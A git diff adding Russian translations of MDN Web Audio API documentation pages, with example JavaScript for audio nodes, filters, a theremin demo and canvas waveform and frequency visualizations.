+  } else if(voiceSetting == "biquad") {
+    biquadFilter.type = "lowshelf";
+    biquadFilter.frequency.value = 1000;
+    biquadFilter.gain.value = 25; // apply lowshelf filter to sounds using biquad
+  } else if(voiceSetting == "off") {
+    console.log("Voice settings turned off"); // do nothing, as off option was chosen
+  }
+
+}
+
+// event listeners to change visualize and voice settings
+
+visualSelect.onchange = function() {
+  window.cancelAnimationFrame(drawVisual);
+  visualize(stream);
+}
+
+voiceSelect.onchange = function() {
+  voiceChange();
+}
+
+mute.onclick = voiceMute;
+
+function voiceMute() { // toggle to mute and unmute sound
+  if(mute.id == "") {
+    gainNode.gain.value = 0; // gain set to 0 to mute sound
+    mute.id = "activated";
+    mute.innerHTML = "Unmute";
+  } else {
+    gainNode.gain.value = 1; // gain set to 1 to unmute sound
+    mute.id = "";
+    mute.innerHTML = "Mute";
+  }
+}
+</pre>
+
+<h2 id="Определения">Определения</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('Web Audio API')}}</td>
+   <td>{{Spec2('Web Audio API')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Поддержка_браузерами">Поддержка браузерами</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Edge</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>14 {{property_prefix("webkit")}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>23</td>
+   <td>{{CompatNo}}</td>
+   <td>15 {{property_prefix("webkit")}}<br>
+    22 (unprefixed)</td>
+   <td>6 {{property_prefix("webkit")}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Chrome</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>Firefox OS</th>
+   <th>IE Phone</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>{{CompatNo}}</td>
+   <td>28 {{property_prefix("webkit")}}</td>
+   <td>25</td>
+   <td>1.2</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>6 {{property_prefix("webkit")}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/API/Web_Audio_API/Using_Web_Audio_API">Using the Web Audio API</a></li>
+ <li><a href="/en-US/docs/Web/API/Web_Audio_API/Visualizations_with_Web_Audio_API">Visualizations with Web Audio API</a></li>
+ <li><a href="http://mdn.github.io/voice-change-o-matic/">Voice-change-O-matic example</a></li>
+ <li><a href="http://mdn.github.io/violent-theremin/">Violent Theremin example</a></li>
+ <li><a href="/en-US/docs/Web/API/Web_Audio_API/Web_audio_spatialisation_basics">Web audio spatialisation basics</a></li>
+ <li><a href="http://www.html5rocks.com/tutorials/webaudio/positional_audio/" title="http://www.html5rocks.com/tutorials/webaudio/positional_audio/">Mixing Positional Audio and WebGL</a></li>
+ <li><a href="http://www.html5rocks.com/tutorials/webaudio/games/" title="http://www.html5rocks.com/tutorials/webaudio/games/">Developing Game Audio with the Web Audio API</a></li>
+ <li><a href="/en-US/docs/Web/API/Web_Audio_API/Porting_webkitAudioContext_code_to_standards_based_AudioContext" title="/en-US/docs/Web_Audio_API/Porting_webkitAudioContext_code_to_standards_based_AudioContext">Porting webkitAudioContext code to standards based AudioContext</a></li>
+ <li><a href="https://github.com/bit101/tones">Tones</a>: a simple library for playing specific tones/notes using the Web Audio API.</li>
+ <li><a href="https://github.com/goldfire/howler.js/">howler.js</a>: a JS audio library that defaults to <a href="https://dvcs.w3.org/hg/audio/raw-file/tip/webaudio/specification.html">Web Audio API</a> and falls back to <a href="http://www.whatwg.org/specs/web-apps/current-work/#the-audio-element">HTML5 Audio</a>, as well as providing other useful features.</li>
+ <li><a href="https://github.com/mattlima/mooog">Mooog</a>: jQuery-style chaining of AudioNodes, mixer-style sends/returns, and more.</li>
+</ul>
+
+<section id="Quick_Links">
+<h3 id="Quicklinks">Quicklinks</h3>
+
+<ol>
+ <li data-default-state="open"><strong><a href="#">Guides</a></strong>
+
+  <ol>
+   <li><a href="/en-US/docs/Web/API/Web_Audio_API/Basic_concepts_behind_Web_Audio_API">Basic concepts behind Web Audio API</a></li>
+   <li><a href="/en-US/docs/Web/API/Web_Audio_API/Using_Web_Audio_API">Using the Web Audio API</a></li>
+   <li><a href="/en-US/docs/Web/API/Web_Audio_API/Visualizations_with_Web_Audio_API">Visualizations with Web Audio API</a></li>
+   <li><a href="/en-US/docs/Web/API/Web_Audio_API/Web_audio_spatialisation_basics">Web audio spatialisation basics</a></li>
+   <li><a href="/en-US/docs/Web/API/Web_Audio_API/Porting_webkitAudioContext_code_to_standards_based_AudioContext" title="/en-US/docs/Web_Audio_API/Porting_webkitAudioContext_code_to_standards_based_AudioContext">Porting webkitAudioContext code to standards based AudioContext</a></li>
+  </ol>
+ </li>
+ <li data-default-state="open"><strong><a href="#">Examples</a></strong>
+  <ol>
+   <li><a href="http://mdn.github.io/voice-change-o-matic/">Voice-change-O-matic</a></li>
+   <li><a href="http://mdn.github.io/violent-theremin/">Violent Theremin</a></li>
+  </ol>
+ </li>
+ <li data-default-state="open"><strong><a href="#">Interfaces</a></strong>
+  <ol>
+   <li>{{domxref("AnalyserNode")}}</li>
+   <li>{{domxref("AudioBuffer")}}</li>
+   <li>{{domxref("AudioBufferSourceNode")}}</li>
+   <li>{{domxref("AudioContext")}}</li>
+   <li>{{domxref("AudioDestinationNode")}}</li>
+   <li>{{domxref("AudioListener")}}</li>
+   <li>{{domxref("AudioNode")}}</li>
+   <li>{{domxref("AudioParam")}}</li>
+   <li>{{event("audioprocess")}} (event)</li>
+   <li>{{domxref("AudioProcessingEvent")}}</li>
+   <li>{{domxref("BiquadFilterNode")}}</li>
+   <li>{{domxref("ChannelMergerNode")}}</li>
+   <li>{{domxref("ChannelSplitterNode")}}</li>
+   <li>{{event("complete")}} (event)</li>
+   <li>{{domxref("ConvolverNode")}}</li>
+   <li>{{domxref("DelayNode")}}</li>
+   <li>{{domxref("DynamicsCompressorNode")}}</li>
+   <li>{{event("ended_(Web_Audio)", "ended")}} (event)</li>
+   <li>{{domxref("GainNode")}}</li>
+   <li>{{domxref("MediaElementAudioSourceNode")}}</li>
+   <li>{{domxref("MediaStreamAudioDestinationNode")}}</li>
+   <li>{{domxref("MediaStreamAudioSourceNode")}}</li>
+   <li>{{domxref("OfflineAudioCompletionEvent")}}</li>
+   <li>{{domxref("OfflineAudioContext")}}</li>
+   <li>{{domxref("OscillatorNode")}}</li>
+   <li>{{domxref("PannerNode")}}</li>
+   <li>{{domxref("PeriodicWaveNode")}}</li>
+   <li>{{domxref("ScriptProcessorNode")}}</li>
+   <li>{{domxref("WaveShaperNode")}}</li>
+  </ol>
+ </li>
+</ol>
+</section>
diff --git a/files/ru/web/api/web_audio_api/using_web_audio_api/index.html b/files/ru/web/api/web_audio_api/using_web_audio_api/index.html
new file mode 100644
index 0000000000..056ebde044
--- /dev/null
+++ b/files/ru/web/api/web_audio_api/using_web_audio_api/index.html
@@ -0,0 +1,281 @@
+---
+title: Используем Web Audio API
+slug: Web/API/Web_Audio_API/Using_Web_Audio_API
+translation_of: Web/API/Web_Audio_API/Using_Web_Audio_API
+---
+<div class="summary">
+<p><span class="seoSummary"><a href="/en-US/docs/Web_Audio_API">Web Audio API</a> обеспечивает простой, но мощный механизм реализации и управления аудио-контентом внутри web приложения. Это позволяет разрабатывать сложные аудио миксины, эффекты и т.д. В этой статье мы постараемся обьяснить основы использования Web Audio API, посредством пары простых примеров.</span></p>
+</div>
+
+<div>
+<p>The Web Audio API does not replace the <a href="/en-US/docs/Web/HTML/Element/audio">&lt;audio&gt;</a> media element, but rather complements it, just like <a href="/en-US/docs/Web/HTML/Element/canvas">&lt;canvas&gt;</a> co-exists well alongside the <a href="/en-US/docs/Web/HTML/Element/Img">&lt;img&gt;</a> element. What you use to implement audio depends on your use case. If you just want to control playback of a simple audio track, &lt;audio&gt; is probably a better, quicker solution. If you want to carry out more complex audio processing, as well as playback, Web Audio API provides much more power and control.</p>
+
+<p>One very powerful thing about the Web Audio API is that it does not have any strict "sound call limitations". There is no ceiling of 32 or 64 sound calls at one time, for example. Depending on the power of your processor, you might be able to get a thousand or more sounds playing simultaneously without stuttering. This shows real progress, given that a few years ago mid to high range sound cards were able to handle only a fraction of this load.</p>
+</div>
+
+<h2 id="Examples">Examples</h2>
+
+<p>To demonstrate usage of the Web Audio API, we created a number of examples which will be added to as time goes on. Please feel free to add to them and suggest improvements!</p>
+
+<p>First off, we created the <a href="https://github.com/mdn/voice-change-o-matic">Voice-change-O-matic</a>, a fun voice changer and sound visualisation web app, which allows you to choose different effects and visualisations. This could definitely be improved on with better quality effects, but it demonstrates the usage of multiple Web Audio API features together (<a href="http://mdn.github.io/voice-change-o-matic/">run the Voice-change-O-matic live</a>).</p>
+
+<p><img alt="A UI with a sound wave being shown, and options for choosing voice effects and visualizations." src="https://mdn.mozillademos.org/files/7921/voice-change-o-matic.png" style="display: block; height: 500px; margin: 0px auto; width: 640px;"></p>
+
+<p>Another example we've created on our quest to understand the Web Audio is the <a href="http://mdn.github.io/violent-theremin/">Violent Theremin</a>, a simple app allowing you to change the pitch and volume by moving your mouse pointer. It also provides a psychedelic lightshow (<a href="https://github.com/mdn/violent-theremin">see Violent Theremin source code</a>).</p>
+
+<p><img alt="A page full of rainbow colours, with two buttons labeled Clear screen and mute. " src="https://mdn.mozillademos.org/files/7919/violent-theremin.png" style="display: block; height: 458px; margin: 0px auto; width: 640px;"></p>
+
+<h2 id="Basic_concepts">Basic concepts</h2>
+
+<div class="note">
+<p><strong>Note</strong>: most of the code snippets in this example are taken from the <a href="https://github.com/mdn/violent-theremin">Violent Theremin example</a>.</p>
+</div>
+
+<p>The Web Audio API involves handling audio operations inside an <strong>audio context</strong>, and has been designed to allow <strong>modular routing</strong>. Basic audio operations are performed with <strong>audio nodes</strong>, which are linked together to form an <strong>audio routing graph</strong>. Several sources — with different types of channel layouts — are supported even within a single context. This modular design provides the flexibility to create complex audio functions with dynamic effects.</p>
+
+<p>Audio nodes are linked via their inputs and outputs, forming a chain that starts with one or more sources, goes through one or more nodes, then ends up at a destination (although you don't have to provide a destination if you, say, just want to visualise some audio data). A simple, typical workflow for web audio would look something like this:</p>
+
+<ol>
+ <li>Create audio context</li>
+ <li>Inside the context, create sources — such as <code>&lt;audio&gt;</code>, oscillator, stream</li>
+ <li>Create effects nodes, such as reverb, biquad filter, panner, compressor</li>
+ <li>Choose final destination of audio, for example your system speakers</li>
+ <li>Connect the sources up to the effects, and the effects to the destination</li>
+</ol>
+
+<h3 id="Creating_an_audio_context">Creating an audio context</h3>
+
+<p>First, you will need to create an instance of <a href="/en-US/docs/Web/API/AudioContext"><code>AudioContext</code></a> to build an audio graph upon. The simplest example of this would look like so:</p>
+
+<pre class="brush: js">var audioCtx = new AudioContext();
+</pre>
+
+<div class="note">
+<p><strong>Note</strong>: Multiple audio context instances are allowed on the same document, but are likely wasteful.</p>
+</div>
+
+<p>However, it is important to provide a prefixed version for Webkit/Blink browsers, and a non-prefixed version for Firefox (desktop/mobile/OS). Something like this would work:</p>
+
+<pre class="brush: js">var audioCtx = new (window.AudioContext || window.webkitAudioContext)();
+</pre>
+
+<div class="note">
+<p><strong>Note</strong>: <span style="line-height: 1.5;">Safari can break if you don't explcitly mention the </span><code style="line-height: 1.5; font-style: normal;">window</code><span style="line-height: 1.5;"> object when creating a new context!</span></p>
+</div>
+
+<h3 id="Creating_an_audio_source">Creating an audio source</h3>
+
+<p>Now we have an audio context, and we can use the methods of this context to do most everything else. The first thing we need is an audio source to play around with. Audio sources can come from a variety of places:</p>
+
+<ul>
+ <li>Generated directly by JavaScript by an audio node such as an oscillator. An {{ domxref("OscillatorNode") }} is created using the {{ domxref("AudioContext.createOscillator") }} method.</li>
+ <li>Created from raw PCM data: the audio context has methods to decode supported audio formats; see {{ domxref("AudioContext.createBuffer()") }}, {{ domxref("AudioContext.createBufferSource()") }}, and {{ domxref("AudioContext.decodeAudioData()") }}.</li>
+ <li>Taken from HTML media elements such as {{HTMLElement("video")}} or {{HTMLElement("audio")}}: see {{ domxref("AudioContext.createMediaElementSource()") }}.</li>
+ <li>Taken directly from a <a href="/en-US/docs/WebRTC" title="/en-US/docs/WebRTC">WebRTC</a> {{domxref("MediaStream")}} such as from a webcam or microphone. See {{ domxref("AudioContext.createMediaStreamSource()") }}.</li>
+</ul>
+
+<p>For this particular example we'll just create an oscillator to provide a simple tone for our source, and a gain node to control sound volume:</p>
+
+<pre class="brush: js">oscillator = audioCtx.createOscillator();
+var gainNode = audioCtx.createGain();
+</pre>
+
+<div class="note">
+<p><strong>Note</strong>: To play a music file directly, you generally have to load the file using XHR, decode the file into a buffer, and then feed that buffer into a buffer source. See this <a href="https://github.com/mdn/voice-change-o-matic/blob/gh-pages/scripts/app.js#L48-L68">example from Voice-change-O-matic</a>.</p>
+</div>
+
+<div class="note">
+<p><strong>Note</strong>: Scott Michaud has written a useful helper library for loading and decoding one or more audio samples, called <a href="https://github.com/ScottMichaud/AudioSampleLoader">AudioSampleLoader</a>. This can help simplify the XHR/buffering process described in the above note.</p>
+</div>
+
+<h3 id="Linking_source_and_destination_together">Linking source and destination together</h3>
+
+<p>To actually output the tone through your speakers, you need to link them together. This is done by calling the <code>connect</code> method on the node you want to connect from, which is available on most node types. The node that you want to connect to is given as the argument of the <code>connect</code> method.</p>
+
+<p>The default output mechanism of your device (usually your device speakers) is accessed using {{ domxref("AudioContext.destination") }}. To connect the oscillator, gain node and destination together, we would use the following:</p>
+
+<pre class="brush: js">oscillator.connect(gainNode);
+gainNode.connect(audioCtx.destination);
+</pre>
+
+<p>In a more complex example (such as the <a href="http://mdn.github.io/voice-change-o-matic/">Voice-change-O-matic</a>), you can chain together as many nodes as you want. For example:</p>
+
+<pre class="brush: js">source = audioCtx.createMediaStreamSource(stream);
+source.connect(analyser);
+analyser.connect(distortion);
+distortion.connect(biquadFilter);
+biquadFilter.connect(convolver);
+convolver.connect(gainNode);
+gainNode.connect(audioCtx.destination);
+</pre>
+
+<p>This would create an audio graph like this:</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/7949/voice-change-o-matic-graph.png" style="display: block; height: 563px; margin: 0px auto; width: 232px;">You can also link multiple nodes to one node, for example if you wanted to mix multiple audio sources together, passing them all through a single effect node, like a gain node.</p>
+
+<div class="note">
+<p><strong>Note</strong>: From Firefox 32 onwards, the integrated Firefox Developer Tools include a <a href="/en-US/docs/Tools/Web_Audio_Editor">Web Audio Editor</a>, which is very useful for debugging web audio graphs.</p>
+</div>
+
+<h3 id="Playing_our_sound_and_setting_a_pitch">Playing our sound and setting a pitch</h3>
+
+<p>Now that the audio graph is set up, we can set property values and invoke methods on our audio nodes to adjust the effect they have on the sound. In this simple example we can set a specific pitch in hertz for our oscillator, set it to a specific type, and tell our sound to play like so:</p>
+
+<pre class="brush: js">oscillator.type = 'sine'; // sine wave — other values are 'square', 'sawtooth', 'triangle' and 'custom'
+oscillator.frequency.value = 2500; // value in hertz
+oscillator.start();
+</pre>
+
+<p>In our Violent Theremin example we actually specify a max gain and frequency value:</p>
+
+<pre class="brush: js">var WIDTH = window.innerWidth;
+var HEIGHT = window.innerHeight;
+
+var maxFreq = 6000;
+var maxVol = 1;
+
+var initialFreq = 3000;
+var initialVol = 0.5;
+
+// set options for the oscillator
+
+oscillator.type = 'sine'; // sine wave — other values are 'square', 'sawtooth', 'triangle' and 'custom'
+oscillator.frequency.value = initialFreq; // value in hertz
+oscillator.start();
+
+gainNode.gain.value = initialVol;
+</pre>
+
+<p>Then we set a new value of frequency and pitch every time the mouse cursor is moved, based on the current mouse X and Y value as a percetage of the maximum frequency and gain:</p>
+
+<pre class="brush: js">// Mouse pointer coordinates
+
+var CurX;
+var CurY;
+
+// Get new mouse pointer coordinates when mouse is moved
+// then set new gain and putch values
+
+document.onmousemove = updatePage;
+
+function updatePage(e) {
+    CurX = (window.Event) ? e.pageX : event.clientX + (document.documentElement.scrollLeft ? document.documentElement.scrollLeft : document.body.scrollLeft);
+    CurY = (window.Event) ? e.pageY : event.clientY + (document.documentElement.scrollTop ? document.documentElement.scrollTop : document.body.scrollTop);
+
+    oscillator.frequency.value = (CurX/WIDTH) * maxFreq;
+    gainNode.gain.value = (CurY/HEIGHT) * maxVol;
+
+    canvasDraw();
+}
+</pre>
+
+<h3 id="A_simple_canvas_visualization">A simple canvas visualization</h3>
+
+<p>A <code>canvasDraw()</code> function is also invoked after each mouse movement, this draws a little cluster of circles where the mouse pointer currently is, the size and colour of which are based on the frequency/gain values.</p>
+
+<pre class="brush: js">function random(number1,number2) {
+  var randomNo = number1 + (Math.floor(Math.random() * (number2 - number1)) + 1);
+  return randomNo;
+}
+
+var canvas = document.querySelector('.canvas');
+canvas.width = WIDTH;
+canvas.height = HEIGHT;
+
+var canvasCtx = canvas.getContext('2d');
+
+function canvasDraw() {
+  rX = CurX;
+  rY = CurY;
+  rC = Math.floor((gainNode.gain.value/maxVol)*30);
+
+  canvasCtx.globalAlpha = 0.2;
+
+  for(i=1;i&lt;=15;i=i+2) {
+    canvasCtx.beginPath();
+    canvasCtx.fillStyle = 'rgb(' + 100+(i*10) + ',' + Math.floor((gainNode.gain.value/maxVol)*255) + ',' + Math.floor((oscillator.frequency.value/maxFreq)*255) + ')';
+    canvasCtx.arc(rX+random(0,50),rY+random(0,50),rC/2+i,(Math.PI/180)*0,(Math.PI/180)*360,false);
+    canvasCtx.fill();
+    canvasCtx.closePath();
+  }
+}</pre>
+
+<h3 id="Muting_the_theremin">Muting the theremin</h3>
+
+<p>When the Mute button is pressed, the function seen below is invoked, which disconnects the gain node from the destination node, effectively breaking the graph up so no sound can be produced. Pressing it again reverses the effect.</p>
+
+<pre class="brush: js">var mute = document.querySelector('.mute');
+
+mute.onclick = function() {
+  if(mute.id == "") {
+    gainNode.disconnect(audioCtx.destination);
+    mute.id = "activated";
+    mute.innerHTML = "Unmute";
+  } else {
+    gainNode.connect(audioCtx.destination);
+    mute.id = "";
+    mute.innerHTML = "Mute";
+  }
+}
+</pre>
+
+<h2 id="Other_node_options">Other node options</h2>
+
+<p>There are many other nodes you can create using the Web Audio API, and the good news is that, in general, they work in the same way as what we have already seen: you create a node, connect it to the other nodes in the graph, and then manipulate that node's properties and methods to affect the sound source in the way you want.</p>
+
+<p>We won't go through all of the available effects and so on; you can find details of how to use each one in the different interface reference pages of the {{ domxref("Web_Audio_API") }} reference. For now we'll just go through a couple of options.</p>
+
+<h3 id="Wave_shaper_nodes">Wave shaper nodes</h3>
+
+<p>You can create a wave shaper node using the {{ domxref("AudioContext.createWaveShaper") }} method:</p>
+
+<pre class="brush: js">var distortion = audioCtx.createWaveShaper();
+</pre>
+
+<p>This object must then be fed a mathmatically defined wave shape, which is applied to the base sound wave to create a distortion effect. These waves are not that easy to figure out, and the best way to start is to just search the Web for algorithms. For example, we found this on <a href="http://stackoverflow.com/questions/22312841/waveshaper-node-in-webaudio-how-to-emulate-distortion">Stack Overflow</a>:</p>
+
+<pre class="brush: js">function makeDistortionCurve(amount) {
+  var k = typeof amount === 'number' ? amount : 50,
+    n_samples = 44100,
+    curve = new Float32Array(n_samples),
+    deg = Math.PI / 180,
+    i = 0,
+    x;
+  for ( ; i &lt; n_samples; ++i ) {
+    x = i * 2 / n_samples - 1;
+    curve[i] = ( 3 + k ) * x * 20 * deg / ( Math.PI + k * Math.abs(x) );
+  }
+  return curve;
+};
+</pre>
+
+<p>In the Voice-change-O-matic demo, we connect the <code>distortion</code> node up to the audio graph, then apply this to the distortion node when needed:</p>
+
+<pre class="brush: js">source.connect(analyser);
+analyser.connect(distortion);
+distortion.connect(biquadFilter);
+
+...
+
+distortion.curve = makeDistortionCurve(400);
+</pre>
+
+<h3 id="Biquad_filter">Biquad filter</h3>
+
+<p>The biquad filter has a number of options available inside it, and is created using the {{ domxref("AudioContext.createBiquadFilter") }} method:</p>
+
+<pre class="brush: js">var biquadFilter = audioCtx.createBiquadFilter();
+</pre>
+
+<p>The particular option used in the Voice-change-o-matic demo is a lowshelf filter, which basically provides a bass boost to the sound:</p>
+
+<pre class="brush: js">biquadFilter.type = "lowshelf";
+biquadFilter.frequency.value = 1000;
+biquadFilter.gain.value = 25;
+</pre>
+
+<p>Here we specify the type of filter, a frequency value, and a gain value. In the case of a lowshelf filter, all frequencies below the specified frequency have their gain increased by 25 decibels.</p>
+
+<h2 id="Other_things_inside_Web_Audio_API">Other things inside Web Audio API</h2>
+
+<p>The Web Audio API can do many other things other than audio visualization and spatializations (e.g. panning sound). We will cover other options in further articles, as this one has become long enough already!</p>
diff --git a/files/ru/web/api/web_audio_api/visualizations_with_web_audio_api/index.html b/files/ru/web/api/web_audio_api/visualizations_with_web_audio_api/index.html
new file mode 100644
index 0000000000..732bc7add5
--- /dev/null
+++ b/files/ru/web/api/web_audio_api/visualizations_with_web_audio_api/index.html
@@ -0,0 +1,183 @@
+---
+title: Визуализация с Web Audio API
+slug: Web/API/Web_Audio_API/Visualizations_with_Web_Audio_API
+translation_of: Web/API/Web_Audio_API/Visualizations_with_Web_Audio_API
+---
+<div class="summary">
+<p>Одна из самых интересных фич Web Audio API — возможность извлекать частоту, форму волны и другие данные из звукового источника, которые могут быть использованы для создания визуализаций. Эта статья объясняет, как это можно сделать, и приводит несколько базовых юзкейсов.</p>
+</div>
+
+<div class="note">
+<p><strong>Примечание</strong>: Вы можете найти рабочие примеры всех фрагментов кода в нашей демонстрации <a href="https://mdn.github.io/voice-change-o-matic/">автоизменения голоса</a>.</p>
+</div>
+
+<h2 id="Основные_концепции">Основные концепции</h2>
+
+<p>Чтобы извлечь данные из вашего источника звука, вам понадобится {{ domxref("AnalyserNode") }}, созданный при помощи метода {{ domxref("AudioContext.createAnalyser()") }}, например:</p>
+
+<pre class="brush: js notranslate">var audioCtx = new (window.AudioContext || window.webkitAudioContext)();
+var analyser = audioCtx.createAnalyser();
+</pre>
+
+<p>Затем этот узел подключается к вашему источнику звука где-то между получением звука и его обработкой, например:</p>
+
+<pre class="brush: js notranslate">source = audioCtx.createMediaStreamSource(stream);
+source.connect(analyser);
+analyser.connect(distortion);
+distortion.connect(audioCtx.destination);</pre>
+
+<div class="note">
+<p><strong>Примечание</strong>: вам не нужно подключать вывод анализатора к другому узлу для его работы, пока его ввод подключен к источнику, либо напрямую, либо через другой узел.</p>
+</div>
+
+<p>Затем анализатор захватит аудиоданные, используя быстрое преобразование Фурье (БПФ) в определенной частотной области, в зависимости от того, что вы укажете как значение свойства {{ domxref("AnalyserNode.fftSize") }} (если свойство не задано, то значение по умолчанию равно 2048).</p>
+
+<div class="note">
+<p><strong>Примечание</strong>: Вы так же можете указать значения минимума и максимума для диапазона масштабирования данных БПФ, используя {{ domxref("AnalyserNode.minDecibels") }} и {{ domxref("AnalyserNode.maxDecibels") }}, и разные константы усреднения данных с помощью {{ domxref("AnalyserNode.smoothingTimeConstant") }}. Прочтите эти страницы, чтобы получить больше информации о том как их использовать.</p>
+</div>
+
+<p>Чтобы получить данные, Вам нужно использовать методы {{ domxref("AnalyserNode.getFloatFrequencyData()") }} и {{ domxref("AnalyserNode.getByteFrequencyData()") }}, чтобы получить данные о частоте, и {{ domxref("AnalyserNode.getByteTimeDomainData()") }} и {{ domxref("AnalyserNode.getFloatTimeDomainData()") }} чтобы получить данные о форме волны.</p>
+
+<p>Эти методы копируют данные в указанный массив, поэтому Вам необходимо создать новый массив для хранения данных, прежде чем вызывать эти функции . Результат первой из них - числа типа float32, второй и третьей - uint8, поэтому стандартный массив JavaScript не подойдет для их хранения — следует использовать массивы {{ domxref("Float32Array") }} или {{ domxref("Uint8Array") }}, в зависимости от нужных Вам данных.</p>
+
+<p>Например, если параметр AnalyserNode.fftSize установлен на 2048, мы возвращаем значение {{ domxref("AnalyserNode.frequencyBinCount") }}, равное половине fft, затем вызываем Uint8Array() с frequencyBinCount в качестве длины — столько измерений мы произведем для данного размера fft.</p>
+
+<pre class="brush: js notranslate">analyser.fftSize = 2048;
+var bufferLength = analyser.frequencyBinCount;
+var dataArray = new Uint8Array(bufferLength);</pre>
+
+<p>Чтобы собрать данные и копировать их в массив, мы вызываем подходящий метод сбора данных, с массивом в качестве аргумента. Например:</p>
+
+<pre class="brush: js notranslate">analyser.getByteTimeDomainData(dataArray);</pre>
+
+<p>Теперь в массиве хранятся данные, описывающие звук в данный момент времени, и мы можем визуализировать их любым удобным образом, например с помощью холста HTML5: {{ htmlelement("canvas") }}.</p>
+
+<p>Давайте рассмотрим конкретные примеры:</p>
+
+<h2 id="Создание_формы_волныосциллографа">Создание формы волны/осциллографа</h2>
+
+<p>Чтобы визуализировать осциллограф (спасибо <a href="http://soledadpenades.com/">Soledad Penadés</a> за код в <a href="https://github.com/mdn/voice-change-o-matic/blob/gh-pages/scripts/app.js#L123-L167">Voice-change-O-matic</a>), мы сначала следуем шаблону, описанному в предыдущей секции, для создания буфера:</p>
+
+<pre class="brush: js notranslate">analyser.fftSize = 2048;
+var bufferLength = analyser.frequencyBinCount;
+var dataArray = new Uint8Array(bufferLength);</pre>
+
+<p>Затем, мы очищаем холст:</p>
+
+<pre class="brush: js notranslate">canvasCtx.clearRect(0, 0, WIDTH, HEIGHT);</pre>
+
+<p>И определяем функцию <code>draw()</code>:</p>
+
+<pre class="brush: js notranslate">function draw() {</pre>
+
+<p>Здесь мы используем <code>requestAnimationFrame()</code> чтобы многократно вызывать эту функцию:</p>
+
+<pre class="brush: js notranslate">      drawVisual = requestAnimationFrame(draw);</pre>
+
+<p>Затем мы копируем данные в наш массив:</p>
+
+<pre class="brush: js notranslate">      analyser.getByteTimeDomainData(dataArray);</pre>
+
+<p>Устанавливаем заливку холста</p>
+
+<pre class="brush: js notranslate">      canvasCtx.fillStyle = 'rgb(200, 200, 200)';
+      canvasCtx.fillRect(0, 0, WIDTH, HEIGHT);</pre>
+
+<p>Затем устанавливаем ширину линий и цвет волны, которую мы хотим нарисовать, и начинаем рисовать путь</p>
+
+<pre class="brush: js notranslate">      canvasCtx.lineWidth = 2;
+      canvasCtx.strokeStyle = 'rgb(0, 0, 0)';
+
+      canvasCtx.beginPath();</pre>
+
+<p>Мы определяем ширину каждого отрезка в линии, деля длину холста на длину массива (равную FrequencyBinCount), затем определяем переменную x, задающую позицию, в которую необходимо перенести каждый отрезок.</p>
+
+<pre class="brush: js notranslate">      var sliceWidth = WIDTH * 1.0 / bufferLength;
+      var x = 0;</pre>
+
+<p>В цикле, мы задаем позицию небольшого отрезка волны для каждой точки в буфере на высоте, основанной на значении массива в этой точке, а затем перемещаем линию туда, где должен быть нарисован следующий отрезок:</p>
+
+<pre class="brush: js notranslate">      for(var i = 0; i &lt; bufferLength; i++) {
+
+        var v = dataArray[i] / 128.0;
+        var y = v * HEIGHT/2;
+
+        if(i === 0) {
+          canvasCtx.moveTo(x, y);
+        } else {
+          canvasCtx.lineTo(x, y);
+        }
+
+        x += sliceWidth;
+      }</pre>
+
+<p>Наконец, мы заканчиваем линию в середине правой стороны холста и рисуем, используя установленные цвет и ширину линий:</p>
+
+<pre class="brush: js notranslate">      canvasCtx.lineTo(canvas.width, canvas.height/2);
+      canvasCtx.stroke();
+    };</pre>
+
+<p>В конце концов, мы вызываем функцию <code>draw()</code> , запускающую весь процесс:</p>
+
+<pre class="brush: js notranslate">    draw();</pre>
+
+<p>Мы получаем изображение волны, обновляющееся несколько раз в секунду:</p>
+
+<p><img alt="a black oscilloscope line, showing the waveform of an audio signal" src="https://mdn.mozillademos.org/files/7977/wave.png" style="display: block; height: 96px; margin: 0px auto; width: 640px;"></p>
+
+<h2 id="Создание_частотной_гистограммы">Создание частотной гистограммы</h2>
+
+<p>Еще одна визуфлизация, которую можно создать, - это частотные дифграммы (такие, как строит Winamp). В проекте Voice-change-O-matic есть реализация такой диаграммы. Давайте посмотрим на нее.</p>
+
+<p>Сначала мы снова создаем анализатор и массив для данных, затем очищаем холст при помощи <code>clearRect()</code>. Единственное отличие от того, что мы делали раньше - ы том, что мы можем установить намного меньший размер fft. Таким образом, каждый столбец в диаграмме будет выглядет как столбец, а не как тонкая полоска.</p>
+
+<pre class="brush: js notranslate">    analyser.fftSize = 256;
+    var bufferLength = analyser.frequencyBinCount;
+    console.log(bufferLength);
+    var dataArray = new Uint8Array(bufferLength);
+
+    canvasCtx.clearRect(0, 0, WIDTH, HEIGHT);</pre>
+
+<p>Затем мы запускаем функцию <code>draw()</code>  и задаем цикл при помощи <code>requestAnimationFrame()</code> таким образом, чтобы в каждом кадре анимации данные обновлялись.</p>
+
+<pre class="brush: js notranslate">    function draw() {
+      drawVisual = requestAnimationFrame(draw);
+
+      analyser.getByteFrequencyData(dataArray);
+
+      canvasCtx.fillStyle = 'rgb(0, 0, 0)';
+      canvasCtx.fillRect(0, 0, WIDTH, HEIGHT);</pre>
+
